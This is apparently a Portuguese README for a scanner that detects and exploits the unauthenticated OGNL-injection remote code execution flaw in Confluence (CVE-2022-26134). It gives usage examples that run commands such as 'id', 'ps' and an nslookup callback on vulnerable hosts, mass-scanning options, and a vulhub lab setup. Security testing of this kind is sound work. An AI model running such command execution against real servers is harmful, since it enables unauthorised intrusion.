
Scanner de execução remota de código por injeção ONGL não autenticada no Atlassian Confluence (CVE-2022-26134).
Scanner de execução remota de código por injeção ONGL de pré-autenticação no Confluence (CVE-2022-26134).
O GIF abaixo mostra uma demonstração do uso da ferramenta:

Aqui está a saída de ajuda da ferramenta:
$ ./cfscan -h
+-------------------------------+
| C O N F L U E N T P W N |
+-------------------------------+
[+] ConfluentPwn by RedHunt Labs - A Modern Attack Surface (ASM) Management Company
[+] Author: Pinaki Mondal (RHL Research Team)
[+] Continuously Track Your Attack Surface using https://redhuntlabs.com/nvadr.
Usage:
-cmd string
Command to execute on a vulnerable confluence server. (default "id")
-file string
Specify a file containing list of hosts to scan.
-output string
Output filepath to write the scan results into. (default "cfpwn-results.csv")
-regex string
Regex to match the response header for the command executed.
-threads int
Number of threads to use while scanning. (default 20)
-timeout int
HTTP timeout in seconds. (default 5)
-user-agent string
Custom user-agent string to use. (default "Mozilla/5.0 (ConfluentPwn) Chrome/95.0.4638.69 Safari/537.36")
Examples:
./cfscan 1.2.3.4:80 1.1.1.1:8080
./cfscan -file urls.txt
./cfscan -cmd 'nslookup xxxxxxxxxxxxxxxxx.canarytokens.com 1.1.1.1:80'
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443
Os alvos podem ser especificados de duas formas:
./cfscan target1 target2 ...
-file.
./cfscan -file targets.txt
O número máximo de alvos simultâneos a serem processados pode ser controlado usando o argumento -threads. O valor de concorrência padrão é 20.
O valor do timeout HTTP em segundos pode ser especificado usando o argumento -timeout. O timeout padrão é definido como 5 segundos.
Um user-agent personalizado pode ser especificado usando a flag -user-agent, caso o usuário queira rastrear strings de UA em seus logs.
A saída gerada é gravada em um arquivo CSV, cujo destino pode ser especificado usando a flag -output. O arquivo de saída padrão gerado é cfscan-results.csv.
A saída contém 4 colunas:
O comando a ser executado em um servidor vulnerável pode ser especificado usando o argumento -cmd. Uma expressão regular é especificada para corresponder à saída do comando -- que pode ser mencionada usando a flag -regex.
O comando padrão executado é o id, e a regex usada para corresponder à saída do comando é uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\).
Usar as flags juntas fica assim:
./cfscan -cmd 'id' -regex 'uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\)' https://1.1.1.1
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443
Se você quiser testar a ferramenta ou a vulnerabilidade em geral, pode consultar este link: https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134.
O processo de instalação é bastante simples, os comandos abaixo resolvem:
$ mkdir confluentpwn && cd confluentpwn && wget https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
$ docker-compose up -d
O aplicativo agora deve estar disponível em http://localhost:8090.
A ferramenta é licenciada sob a licença MIT. Consulte LICENSE. Atualmente a ferramenta está na v0.1.
A equipe de pesquisa da RedHunt Labs gostaria de agradecer ao vulhub por fornecer a imagem de teste docker.
Para saber mais sobre nossa plataforma de Gerenciamento de Superfície de Ataque, confira o NVADR.